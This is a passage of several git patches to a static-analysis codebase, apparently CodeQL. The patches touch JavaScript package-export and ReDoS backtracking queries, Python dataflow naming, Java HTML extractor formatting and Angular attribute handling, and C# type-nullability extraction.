+private PackageJSON getTopmostPackageJSON() { result = min(PackageJSON j | countSlashes(j.getFile().getRelativePath()) <= 3 and @@ -39,33 +39,33 @@ PackageJSON getTopmostPackageJSON() { } /** - * Gets a value exported by the main module from the package.json `packageJSON`. + * Gets a value exported by the main module from one of the topmost `package.json` files (see `getTopmostPackageJSON`). * The value is either directly the `module.exports` value, a nested property of `module.exports`, or a method on an exported class. */ -DataFlow::Node getAValueExportedBy(PackageJSON packageJSON) { - result = getAnExportFromModule(packageJSON.getMainModule()) +private DataFlow::Node getAValueExportedByPackage() { + result = getAnExportFromModule(getTopmostPackageJSON().getMainModule()) or - result = getAValueExportedBy(packageJSON).(DataFlow::PropWrite).getRhs() + result = getAValueExportedByPackage().(DataFlow::PropWrite).getRhs() or exists(DataFlow::SourceNode callee | - callee = getAValueExportedBy(packageJSON).(DataFlow::NewNode).getCalleeNode().getALocalSource() + callee = getAValueExportedByPackage().(DataFlow::NewNode).getCalleeNode().getALocalSource() | result = callee.getAPropertyRead("prototype").getAPropertyWrite().getRhs() or result = callee.(DataFlow::ClassNode).getAnInstanceMethod() ) or - result = getAValueExportedBy(packageJSON).getALocalSource() + result = getAValueExportedByPackage().getALocalSource() or - result = getAValueExportedBy(packageJSON).(DataFlow::SourceNode).getAPropertyReference() + result = getAValueExportedByPackage().(DataFlow::SourceNode).getAPropertyReference() or exists(Module mod | - mod = getAValueExportedBy(packageJSON).getEnclosingExpr().(Import).getImportedModule() + mod = getAValueExportedByPackage().getEnclosingExpr().(Import).getImportedModule() | result = getAnExportFromModule(mod) ) or - exists(DataFlow::ClassNode cla | cla = getAValueExportedBy(packageJSON) | + exists(DataFlow::ClassNode cla | cla = getAValueExportedByPackage() | result = cla.getAnInstanceMethod() or result = cla.getAStaticMethod() or result = cla.getConstructor() From 1506ac09e5d7efa80937dbc62230a3214564e7f0 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Fri, 15 Jan 2021 13:35:00 +0100 Subject: [PATCH 0613/1241] limit the number of characters produced by `getAThreewayIntersect` --- .../performance/SuperlinearBackTracking.qll | 15 ++++++++++++--- .../ReDoS/PolynomialBackTracking.expected | 1 - 2 files changed, 12 insertions(+), 4 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll index a753422f097..153093e9664 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll @@ -209,11 +209,20 @@ predicate step( */ pragma[noinline] string getAThreewayIntersect(InputSymbol s1, InputSymbol s2, InputSymbol s3) { - result = intersect(s1, s2) and result = [intersect(s2, s3), intersect(s1, s3)] + result = minAndMaxIntersect(s1, s2) and result = [intersect(s2, s3), intersect(s1, s3)] or - result = intersect(s1, s3) and result = [intersect(s2, s3), intersect(s1, s2)] + result = minAndMaxIntersect(s1, s3) and result = [intersect(s2, s3), intersect(s1, s2)] or - result = intersect(s2, s3) and result = [intersect(s1, s2), intersect(s1, s3)] + result = minAndMaxIntersect(s2, s3) and result = [intersect(s1, s2), intersect(s1, s3)] +} + +/** + * Gets the minimum and maximum characters that intersect between `a` and `b`. + * This predicate is used to limit the size of `getAThreewayIntersect`. + */ +pragma[noinline] +string minAndMaxIntersect(InputSymbol a, InputSymbol b) { + result = [min(intersect(a, b)), max(intersect(a, b))] } private newtype TTrace = diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected index ed016fed419..1c465b163dd 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected @@ -442,7 +442,6 @@ | tst.js:221:15:221:22 | ([^X]b)+ | Strings with many repetitions of 'Wb' can start matching anywhere after the start of the preceeding (([^X]b)+)* | | tst.js:227:15:227:22 | ([^X]b)+ | Strings with many repetitions of 'Wb' can start matching anywhere after the start of the preceeding (([^X]b)+)* | | tst.js:239:15:239:19 | (ab)+ | Strings with many repetitions of 'ab' can start matching anywhere after the start of the preceeding ((ab)+)* | -| tst.js:245:15:245:21 | [\\n\\s]+ | Strings with many repetitions of '\\n' can start matching anywhere after the start of the preceeding ([\\n\\s]+)* | | tst.js:248:18:248:19 | A* | Strings with many repetitions of 'A' can start matching anywhere after the start of the preceeding A* | | tst.js:254:15:254:17 | \\w* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding \\d* | | tst.js:254:27:254:29 | \\w* | Strings starting with 'foobarbaz' and with many repetitions of 'foobarbaz' can start matching anywhere after the start of the preceeding \\d* | From 48910d05971c81596e687547c3623fc776d78772 Mon Sep 17 00:00:00 2001 From: yoff <lerchedahl@gmail.com> Date: Fri, 15 Jan 2021 14:02:27 +0100 Subject: [PATCH 0614/1241] Apply suggestions from code review Co-authored-by: Taus <tausbn@github.com> --- .../python/dataflow/new/internal/DataFlowPrivate.qll | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 9ff8462eeb1..73619af0bd4 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1049,7 +1049,7 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * (a, *b) = ("a", "b", "tainted string") # RHS has content `TupleElement(2)` * ``` * Since the starred variables are always assigned type list, `*b` will be - * `["b", "tainted string]`, and we will agsin overapproximate and assign it + * `["b", "tainted string]`, and we will again overapproximate and assign it * content corresponding to anything found in the RHS. * * For a precise transfer @@ -1103,7 +1103,7 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * * 1. [Flow, Read, Store] The last 5 steps are repeated for all recursive elements which are sequences. */ -module unpackinAssignment { +module UnpackingAssignment { /** A direct (or top-level) target of an unpacking assignment */ class UnpackingAssignmentDirectTarget extends ControlFlowNode { Expr value; @@ -1121,7 +1121,7 @@ module unpackinAssignment { UnpackingAssignmentTarget() { this instanceof UnpackingAssignmentDirectTarget or - exists(UnpackingAssignmentTarget parent | this = parent.getAnElement()) + this = any(UnpackingAssignmentTarget parent).getAnElement() } ControlFlowNode getElement(int i) { result = this.(SequenceNode).getElement(i) } @@ -1227,7 +1227,7 @@ module unpackinAssignment { } } -import unpackinAssignment +import UnpackingAssignment /** Data flows from a sequence to a call to `pop` on the sequence. */ predicate popReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { From f33630aab67a8625c00dba90bdfe16b82566db09 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Mon, 7 Dec 2020 13:02:06 +0000 Subject: [PATCH 0615/1241] JS: Reformat HTMLExtractor --- .../semmle/js/extractor/HTMLExtractor.java | 415 ++++++++++-------- 1 file changed, 226 insertions(+), 189 deletions(-) diff --git a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java index 06bfda3728d..c1daab9ee43 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java @@ -22,221 +22,258 @@ import net.htmlparser.jericho.Segment; /** Extractor for handling HTML and XHTML files. */ public class HTMLExtractor implements IExtractor { - private class JavaScriptHTMLElementHandler implements HtmlPopulator.ElementHandler { - private final ScopeManager scopeManager; - private final TextualExtractor textualExtractor; - private LoCInfo locInfo; + private class JavaScriptHTMLElementHandler implements HtmlPopulator.ElementHandler { + private final ScopeManager scopeManager; + private final TextualExtractor textualExtractor; + private LoCInfo locInfo; - public JavaScriptHTMLElementHandler(TextualExtractor textualExtractor) { - this.textualExtractor = textualExtractor; + public JavaScriptHTMLElementHandler(TextualExtractor textualExtractor) { + this.textualExtractor = textualExtractor; - this.locInfo = new LoCInfo(0, 0); + this.locInfo = new LoCInfo(0, 0); - this.scopeManager = new ScopeManager(textualExtractor.getTrapwriter(), config.getEcmaVersion()); - } + this.scopeManager = + new ScopeManager(textualExtractor.getTrapwriter(), config.getEcmaVersion()); + } - /* - * Extract all JavaScript snippets appearing in (in-line) script elements and as - * attribute values. - */ - @Override - public void handleElement(Element elt) { - LoCInfo snippetLoC = null; - if (elt.getName().equals(HTMLElementName.SCRIPT)) { - SourceType sourceType = getScriptSourceType(elt, textualExtractor.getExtractedFile()); - if (sourceType != null) { - // Jericho sometimes misparses empty elements, which will show up as start tags - // ending in "/"; we manually exclude these cases to avoid spurious syntax - // errors - if (elt.getStartTag().getTagContent().toString().trim().endsWith("/")) - return; + /* + * Extract all JavaScript snippets appearing in (in-line) script elements and as + * attribute values. + */ + @Override + public void handleElement(Element elt) { + LoCInfo snippetLoC = null; + if (elt.getName().equals(HTMLElementName.SCRIPT)) { + SourceType sourceType = getScriptSourceType(elt, textualExtractor.getExtractedFile()); + if (sourceType != null) { + // Jericho sometimes misparses empty elements, which will show up as start tags + // ending in "/"; we manually exclude these cases to avoid spurious syntax + // errors + if (elt.getStartTag().getTagContent().toString().trim().endsWith("/")) return; - Segment content = elt.getContent(); - String source = content.toString(); - boolean isTypeScript = isTypeScriptTag(elt); + Segment content = elt.getContent(); + String source = content.toString(); + boolean isTypeScript = isTypeScriptTag(elt); - /* - * Script blocks in XHTML files may wrap (parts of) their code inside CDATA - * sections. We need to unwrap them in order not to confuse the JavaScript - * parser. - * - * Note that CDATA sections do not nest, so they can be detected by a regular - * expression. - * - * In order to preserve position information, we replace the CDATA section - * markers with an equivalent number of whitespace characters. This will yield - * surprising results for CDATA sections inside string literals, but those are - * likely to be rare. - */ - source = source.replace("<![CDATA[", " ").replace("]]>", " "); - if (!source.trim().isEmpty()) { - RowColumnVector contentStart = content.getRowColumnVector(); - snippetLoC = extractSnippet(1, config.withSourceType(sourceType), scopeManager, - textualExtractor, source, contentStart.getRow(), contentStart.getColumn(), - isTypeScript); - } - } - } else { - Attributes attributes = elt.getAttributes(); - // attributes can be null for directives - if (attributes != null) - for (Attribute attr : attributes) { - // ignore empty attributes - if (attr.getValue() == null || attr.getValue().isEmpty()) - continue; + /* + * Script blocks in XHTML files may wrap (parts of) their code inside CDATA + * sections. We need to unwrap them in order not to confuse the JavaScript + * parser. + * + * Note that CDATA sections do not nest, so they can be detected by a regular + * expression. + * + * In order to preserve position information, we replace the CDATA section + * markers with an equivalent number of whitespace characters. This will yield + * surprising results for CDATA sections inside string literals, but those are + * likely to be rare. + */ + source = source.replace("<![CDATA[", " ").replace("]]>", " "); + if (!source.trim().isEmpty()) { + RowColumnVector contentStart = content.getRowColumnVector(); + snippetLoC = + extractSnippet( + 1, + config.withSourceType(sourceType), + scopeManager, + textualExtractor, + source, + contentStart.getRow(), + contentStart.getColumn(), + isTypeScript); + } + } + } else { + Attributes attributes = elt.getAttributes(); + // attributes can be null for directives + if (attributes != null) + for (Attribute attr : attributes) { + // ignore empty attributes + if (attr.getValue() == null || attr.getValue().isEmpty()) continue; - String source = attr.getValue(); - RowColumnVector valueStart = attr.getValueSegment().getRowColumnVector(); - if (JS_ATTRIBUTE.matcher(attr.getName()).matches()) { - snippetLoC = extractSnippet(2, config, scopeManager, textualExtractor, source, - valueStart.getRow(), valueStart.getColumn(), false /* isTypeScript */); - } else if (source.startsWith("javascript:")) { - source = source.substring(11); - snippetLoC = extractSnippet(3, config, scopeManager, textualExtractor, source, - valueStart.getRow(), valueStart.getColumn() + 11, false /* isTypeScript */); - } - } - } + String source = attr.getValue(); + RowColumnVector valueStart = attr.getValueSegment().getRowColumnVector(); + if (JS_ATTRIBUTE.matcher(attr.getName()).matches()) { + snippetLoC = + extractSnippet( + 2, + config, + scopeManager, + textualExtractor, + source, + valueStart.getRow(), + valueStart.getColumn(), + false /* isTypeScript */); + } else if (source.startsWith("javascript:")) { + source = source.substring(11); + snippetLoC = + extractSnippet( + 3, + config, + scopeManager, + textualExtractor, + source, + valueStart.getRow(), + valueStart.getColumn() + 11, + false /* isTypeScript */); + } + } + } - if (snippetLoC != null) - locInfo.add(snippetLoC); - } + if (snippetLoC != null) locInfo.add(snippetLoC); + } - public LoCInfo getLoCInfo() { - return this.locInfo; - } - } + public LoCInfo getLoCInfo() { + return this.locInfo; + } + } - /** List of HTML attributes whose value is interpreted as JavaScript. */ - private static final Pattern JS_ATTRIBUTE = Pattern.compile( - "^on(abort|blur|change|(dbl)?click|error|focus|key(down|press|up)|load|mouse(down|move|out|over|up)|re(set|size)|select|submit|unload)$", - Pattern.CASE_INSENSITIVE); + /** List of HTML attributes whose value is interpreted as JavaScript. */ + private static final Pattern JS_ATTRIBUTE = + Pattern.compile( + "^on(abort|blur|change|(dbl)?click|error|focus|key(down|press|up)|load|mouse(down|move|out|over|up)|re(set|size)|select|submit|unload)$", + Pattern.CASE_INSENSITIVE); - private final ExtractorConfig config; - private final ExtractorState state; + private final ExtractorConfig config; + private final ExtractorState state; - public HTMLExtractor(ExtractorConfig config, ExtractorState state) { - this.config = config.withPlatform(Platform.WEB); - this.state = state; - } + public HTMLExtractor(ExtractorConfig config, ExtractorState state) { + this.config = config.withPlatform(Platform.WEB); + this.state = state; + } - @Override - public LoCInfo extract(TextualExtractor textualExtractor) { - JavaScriptHTMLElementHandler eltHandler = new JavaScriptHTMLElementHandler(textualExtractor); + @Override + public LoCInfo extract(TextualExtractor textualExtractor) { + JavaScriptHTMLElementHandler eltHandler = new JavaScriptHTMLElementHandler(textualExtractor); - HtmlPopulator extractor = new HtmlPopulator(this.config.getHtmlHandling(), textualExtractor.getSource(), - textualExtractor.getTrapwriter(), textualExtractor.getLocationManager().getFileLabel()); + HtmlPopulator extractor = + new HtmlPopulator( + this.config.getHtmlHandling(), + textualExtractor.getSource(), + textualExtractor.getTrapwriter(), + textualExtractor.getLocationManager().getFileLabel()); - extractor.doit(Option.some(eltHandler)); + extractor.doit(Option.some(eltHandler)); - return eltHandler.getLoCInfo(); - } + return eltHandler.getLoCInfo(); + } - /** - * Deduce the {@link SourceType} with which the given <code>script</code> - * element should be extracted, returning <code>null</code> if it cannot be - * determined. - */ - private SourceType getScriptSourceType(Element script, File file) { - String scriptType = getAttributeValueLC(script, "type"); - String scriptLanguage = getScriptLanguage(script); + /** + * Deduce the {@link SourceType} with which the given <code>script</code> element should be + * extracted, returning <code>null</code> if it cannot be determined. + */ + private SourceType getScriptSourceType(Element script, File file) { + String scriptType = getAttributeValueLC(script, "type"); + String scriptLanguage = getScriptLanguage(script); - SourceType fallbackSourceType = config.getSourceType(); - if (file.getName().endsWith(".vue")) { - fallbackSourceType = SourceType.MODULE; - } + SourceType fallbackSourceType = config.getSourceType(); + if (file.getName().endsWith(".vue")) { + fallbackSourceType = SourceType.MODULE; + } - if (isTypeScriptTag(script)) - return fallbackSourceType; + if (isTypeScriptTag(script)) return fallbackSourceType; - // if `type` and `language` are both either missing, contain the - // string "javascript", or if `type` is the string "text/jsx", this is a plain - // script - if ((scriptType == null || scriptType.contains("javascript") || "text/jsx".equals(scriptType)) - && (scriptLanguage == null || scriptLanguage.contains("javascript"))) - // use default source type - return fallbackSourceType; + // if `type` and `language` are both either missing, contain the + // string "javascript", or if `type` is the string "text/jsx", this is a plain + // script + if ((scriptType == null || scriptType.contains("javascript") || "text/jsx".equals(scriptType)) + && (scriptLanguage == null || scriptLanguage.contains("javascript"))) + // use default source type + return fallbackSourceType; - // if `type` is "text/babel", the source type depends on the `data-plugins` - // attribute - if ("text/babel".equals(scriptType)) { - String plugins = getAttributeValueLC(script, "data-plugins"); - if (plugins != null && plugins.contains("transform-es2015-modules-umd")) { - return SourceType.MODULE; - } - return fallbackSourceType; - } + // if `type` is "text/babel", the source type depends on the `data-plugins` + // attribute + if ("text/babel".equals(scriptType)) { + String plugins = getAttributeValueLC(script, "data-plugins"); + if (plugins != null && plugins.contains("transform-es2015-modules-umd")) { + return SourceType.MODULE; + } + return fallbackSourceType; + } - // if `type` is "module", extract as module - if ("module".equals(scriptType)) - return SourceType.MODULE; + // if `type` is "module", extract as module + if ("module".equals(scriptType)) return SourceType.MODULE; - return null; - } + return null; + } - private String getScriptLanguage(Element script) { - String scriptLanguage = getAttributeValueLC(script, "language"); + private String getScriptLanguage(Element script) { + String scriptLanguage = getAttributeValueLC(script, "language"); - if (scriptLanguage == null) { // Vue templates use 'lang' instead of 'language'. - scriptLanguage = getAttributeValueLC(script, "lang"); - } - return scriptLanguage; - } + if (scriptLanguage == null) { // Vue templates use 'lang' instead of 'language'. + scriptLanguage = getAttributeValueLC(script, "lang"); + } + return scriptLanguage; + } - private boolean isTypeScriptTag(Element script) { - String language = getScriptLanguage(script); - if ("ts".equals(language) || "typescript".equals(language)) - return true; - String type = getAttributeValueLC(script, "type"); - if (type != null && type.contains("typescript")) - return true; - return false; - } + private boolean isTypeScriptTag(Element script) { + String language = getScriptLanguage(script); + if ("ts".equals(language) || "typescript".equals(language)) return true; + String type = getAttributeValueLC(script, "type"); + if (type != null && type.contains("typescript")) return true; + return false; + } - /** - * Get the value of attribute <code>attr</code> of element <code>elt</code> in - * lower case; if the attribute has no value, <code>null</code> is returned. - */ - private String getAttributeValueLC(Element elt, String attr) { - String val = elt.getAttributeValue(attr); - return val == null ? val : StringUtil.lc(val); - } + /** + * Get the value of attribute <code>attr</code> of element <code>elt</code> in lower case; if the + * attribute has no value, <code>null</code> is returned. + */ + private String getAttributeValueLC(Element elt, String attr) { + String val = elt.getAttributeValue(attr); + return val == null ? val : StringUtil.lc(val); + } - private LoCInfo extractSnippet(int toplevelKind, ExtractorConfig config, ScopeManager scopeManager, - TextualExtractor textualExtractor, String source, int line, int column, boolean isTypeScript) { - if (isTypeScript) { - Path file = textualExtractor.getExtractedFile().toPath(); - FileSnippet snippet = new FileSnippet(file, line, column, toplevelKind, config.getSourceType()); - VirtualSourceRoot vroot = config.getVirtualSourceRoot(); - // Vue files are special in that they can be imported as modules, and may only - // contain one <script> tag. - // For .vue files we omit the usual snippet decoration to ensure the TypeScript - // compiler can find it. - Path virtualFile = file.getFileName().toString().endsWith(".vue") - ? vroot.toVirtualFile(file.resolveSibling(file.getFileName() + ".ts")) - : vroot.getVirtualFileForSnippet(snippet, ".ts"); - if (virtualFile != null) { - virtualFile = virtualFile.toAbsolutePath().normalize(); - synchronized (vroot.getLock()) { - new WholeIO().strictwrite(virtualFile, source); - } - state.getSnippets().put(virtualFile, snippet); - } - return null; // LoC info is accounted for later - } - TrapWriter trapwriter = textualExtractor.getTrapwriter(); - LocationManager locationManager = textualExtractor.getLocationManager(); - LocationManager scriptLocationManager = new LocationManager(locationManager.getSourceFile(), trapwriter, - locationManager.getFileLabel()); - scriptLocationManager.setStart(line, column); - JSExtractor extractor = new JSExtractor(config); - try { - TextualExtractor tx = new TextualExtractor(trapwriter, scriptLocationManager, source, - config.getExtractLines(), textualExtractor.getMetrics(), textualExtractor.getExtractedFile()); - return extractor.extract(tx, source, toplevelKind, scopeManager).snd(); - } catch (ParseError e) { - e.setPosition(scriptLocationManager.translatePosition(e.getPosition())); - throw e.asUserError(); - } - } + private LoCInfo extractSnippet( + int toplevelKind, + ExtractorConfig config, + ScopeManager scopeManager, + TextualExtractor textualExtractor, + String source, + int line, + int column, + boolean isTypeScript) { + if (isTypeScript) { + Path file = textualExtractor.getExtractedFile().toPath(); + FileSnippet snippet = + new FileSnippet(file, line, column, toplevelKind, config.getSourceType()); + VirtualSourceRoot vroot = config.getVirtualSourceRoot(); + // Vue files are special in that they can be imported as modules, and may only + // contain one <script> tag. + // For .vue files we omit the usual snippet decoration to ensure the TypeScript + // compiler can find it. + Path virtualFile = + file.getFileName().toString().endsWith(".vue") + ? vroot.toVirtualFile(file.resolveSibling(file.getFileName() + ".ts")) + : vroot.getVirtualFileForSnippet(snippet, ".ts"); + if (virtualFile != null) { + virtualFile = virtualFile.toAbsolutePath().normalize(); + synchronized (vroot.getLock()) { + new WholeIO().strictwrite(virtualFile, source); + } + state.getSnippets().put(virtualFile, snippet); + } + return null; // LoC info is accounted for later + } + TrapWriter trapwriter = textualExtractor.getTrapwriter(); + LocationManager locationManager = textualExtractor.getLocationManager(); + LocationManager scriptLocationManager = + new LocationManager( + locationManager.getSourceFile(), trapwriter, locationManager.getFileLabel()); + scriptLocationManager.setStart(line, column); + JSExtractor extractor = new JSExtractor(config); + try { + TextualExtractor tx = + new TextualExtractor( + trapwriter, + scriptLocationManager, + source, + config.getExtractLines(), + textualExtractor.getMetrics(), + textualExtractor.getExtractedFile()); + return extractor.extract(tx, source, toplevelKind, scopeManager).snd(); + } catch (ParseError e) { + e.setPosition(scriptLocationManager.translatePosition(e.getPosition())); + throw e.asUserError(); + } + } } From 5fa3b1795685133cfc3164e509ccd11577265d4d Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Mon, 7 Dec 2020 13:02:53 +0000 Subject: [PATCH 0616/1241] JS: Tolerate Angular-specific HTML attribute names --- .../extractor/src/com/semmle/js/extractor/HTMLExtractor.java | 3 +++ 1 file changed, 3 insertions(+) diff --git a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java index c1daab9ee43..9373be8dcce 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java @@ -144,6 +144,9 @@ public class HTMLExtractor implements IExtractor { @Override public LoCInfo extract(TextualExtractor textualExtractor) { + // Angular templates contain attribute names that are not valid HTML/XML, such as [foo], (foo), [(foo)], and *foo. + // Allow a large number of errors in attribute names, so the Jericho parser does not give up. + Attributes.setDefaultMaxErrorCount(100); JavaScriptHTMLElementHandler eltHandler = new JavaScriptHTMLElementHandler(textualExtractor); HtmlPopulator extractor = From 9a9a57716c672a6aea64370d9dddfadc7eaaf6c5 Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Thu, 14 Jan 2021 11:21:55 +0100 Subject: [PATCH 0617/1241] C#: Improved extraction of type nullability --- .../Entities/Constructor.cs | 8 +-- .../Entities/Expression.cs | 51 ++++++++----------- .../Entities/Expressions/Access.cs | 2 +- .../Entities/Expressions/ArrayCreation.cs | 2 +- .../Entities/Expressions/Cast.cs | 2 +- .../Entities/Expressions/Discard.cs | 2 +- .../Entities/Expressions/ImplicitCast.cs | 4 +- .../Entities/Expressions/Initializer.cs | 6 +-- .../Entities/Expressions/Invocation.cs | 2 +- .../Entities/Expressions/Literal.cs | 8 +-- .../ObjectCreation/AnonymousObjectCreation.cs | 2 +- .../ObjectCreation/BaseObjectCreation.cs | 4 +- .../Entities/Expressions/Patterns/Pattern.cs | 4 +- .../Expressions/Patterns/PositionalPattern.cs | 2 +- .../Expressions/Patterns/PropertyPattern.cs | 2 +- .../Expressions/Patterns/RecursivePattern.cs | 4 +- .../Expressions/Patterns/UnaryPattern.cs | 2 +- .../Entities/Expressions/Query.cs | 40 +++++++++++++-- .../Entities/Expressions/Switch.cs | 2 +- .../Entities/Expressions/This.cs | 4 +- .../Entities/Expressions/TypeAccess.cs | 4 +- .../Entities/Expressions/TypeOf.cs | 2 +- .../Expressions/VariableDeclaration.cs | 25 +++++---- .../Entities/Field.cs | 17 ++++--- .../Entities/Indexer.cs | 2 +- .../Entities/LocalVariable.cs | 4 +- .../Entities/Property.cs | 4 +- .../Entities/Statements/Catch.cs | 4 +- .../Entities/Statements/ForEach.cs | 2 +- .../Entities/TypeMention.cs | 6 +-- .../Entities/Types/ArrayType.cs | 16 +++--- .../Entities/Types/NamedType.cs | 32 +----------- .../Entities/Types/NullType.cs | 2 +- .../Entities/Types/TupleType.cs | 2 +- .../Entities/Types/Type.cs | 35 ++----------- .../SymbolExtensions.cs | 7 ++- csharp/extractor/Semmle.Extraction/Context.cs | 2 +- csharp/extractor/Semmle.Extraction/Symbol.cs | 4 +- 38 files changed, 147 insertions(+), 176 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Constructor.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Constructor.cs index 35b3f2eb808..499e6ec418a 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Constructor.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Constructor.cs @@ -42,16 +42,16 @@ namespace Semmle.Extraction.CSharp.Entities if (initializer == null) return; - Type initializerType; + ITypeSymbol initializerType; var symbolInfo = Context.GetSymbolInfo(initializer); switch (initializer.Kind()) { case SyntaxKind.BaseConstructorInitializer: - initializerType = Type.Create(Context, symbol.ContainingType.BaseType); + initializerType = symbol.ContainingType.BaseType; break; case SyntaxKind.ThisConstructorInitializer: - initializerType = ContainingType; + initializerType = symbol.ContainingType; break; default: Context.ModelError(initializer, "Unknown initializer"); @@ -59,7 +59,7 @@ namespace Semmle.Extraction.CSharp.Entities } var initInfo = new ExpressionInfo(Context, - new AnnotatedType(initializerType, NullableAnnotation.None), + AnnotatedTypeSymbol.CreateNotAnnotated(initializerType), Context.Create(initializer.ThisOrBaseKeyword.GetLocation()), Kinds.ExprKind.CONSTRUCTOR_INIT, this, diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expression.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expression.cs index 0c0fbca6489..7ac9d80cffb 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expression.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expression.cs @@ -22,7 +22,7 @@ namespace Semmle.Extraction.CSharp.Entities internal class Expression : FreshEntity, IExpressionParentEntity { private readonly IExpressionInfo info; - public AnnotatedType Type { get; } + public AnnotatedTypeSymbol? Type { get; } public Extraction.Entities.Location Location { get; } public ExprKind Kind { get; } @@ -33,25 +33,23 @@ namespace Semmle.Extraction.CSharp.Entities Location = info.Location; Kind = info.Kind; Type = info.Type; - if (Type.Type is null) - Type = NullType.Create(cx); TryPopulate(); } protected sealed override void Populate(TextWriter trapFile) { - trapFile.expressions(this, Kind, Type.Type.TypeRef); + var type = Type.HasValue ? Entities.Type.Create(cx, Type.Value) : NullType.Create(cx); + trapFile.expressions(this, Kind, type.TypeRef); if (info.Parent.IsTopLevelParent) trapFile.expr_parent_top_level(this, info.Child, info.Parent); else trapFile.expr_parent(this, info.Child, info.Parent); trapFile.expr_location(this, Location); - var annotatedType = Type.Symbol; - if (!annotatedType.HasObliviousNullability()) + if (Type.HasValue && !Type.Value.HasObliviousNullability()) { - var n = NullabilityEntity.Create(cx, Nullability.Create(annotatedType)); + var n = NullabilityEntity.Create(cx, Nullability.Create(Type.Value)); trapFile.type_nullability(this, n); } @@ -66,7 +64,7 @@ namespace Semmle.Extraction.CSharp.Entities if (info.ExprValue is string value) trapFile.expr_value(this, value); - Type.Type.PopulateGenerics(); + type.PopulateGenerics(); } public override Microsoft.CodeAnalysis.Location ReportingLocation => Location.symbol; @@ -367,7 +365,7 @@ namespace Semmle.Extraction.CSharp.Entities /// <summary> /// The type of the expression. /// </summary> - AnnotatedType Type { get; } + AnnotatedTypeSymbol? Type { get; } /// <summary> /// The location of the expression. @@ -411,7 +409,7 @@ namespace Semmle.Extraction.CSharp.Entities internal class ExpressionInfo : IExpressionInfo { public Context Context { get; } - public AnnotatedType Type { get; } + public AnnotatedTypeSymbol? Type { get; } public Extraction.Entities.Location Location { get; } public ExprKind Kind { get; } public IExpressionParentEntity Parent { get; } @@ -419,7 +417,7 @@ namespace Semmle.Extraction.CSharp.Entities public bool IsCompilerGenerated { get; } public string ExprValue { get; } - public ExpressionInfo(Context cx, AnnotatedType type, Extraction.Entities.Location location, ExprKind kind, + public ExpressionInfo(Context cx, AnnotatedTypeSymbol? type, Extraction.Entities.Location location, ExprKind kind, IExpressionParentEntity parent, int child, bool isCompilerGenerated, string value) { Context = cx; @@ -466,10 +464,15 @@ namespace Semmle.Extraction.CSharp.Entities public AnnotatedTypeSymbol ResolvedType => new AnnotatedTypeSymbol(TypeInfo.Type.DisambiguateType(), TypeInfo.Nullability.Annotation); public AnnotatedTypeSymbol ConvertedType => new AnnotatedTypeSymbol(TypeInfo.ConvertedType.DisambiguateType(), TypeInfo.ConvertedNullability.Annotation); - public AnnotatedTypeSymbol ExpressionType + private AnnotatedTypeSymbol? cachedType; + private bool cachedTypeSet; + public AnnotatedTypeSymbol? Type { get { + if (cachedTypeSet) + return cachedType; + var type = ResolvedType; if (type.Symbol == null) @@ -491,6 +494,9 @@ namespace Semmle.Extraction.CSharp.Entities Context.ModelError(Node, "Failed to determine type"); } + cachedType = type; + cachedTypeSet = true; + return type; } } @@ -522,22 +528,6 @@ namespace Semmle.Extraction.CSharp.Entities } } - private AnnotatedType cachedType; - - public AnnotatedType Type - { - get - { - if (cachedType.Type == null) - cachedType = Entities.Type.Create(Context, ExpressionType); - return cachedType; - } - set - { - cachedType = value; - } - } - private Extraction.Entities.Location cachedLocation; public Extraction.Entities.Location Location @@ -572,9 +562,10 @@ namespace Semmle.Extraction.CSharp.Entities return this; } - public ExpressionNodeInfo SetType(AnnotatedType type) + public ExpressionNodeInfo SetType(AnnotatedTypeSymbol? type) { - Type = type; + cachedType = type; + cachedTypeSet = true; return this; } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Access.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Access.cs index 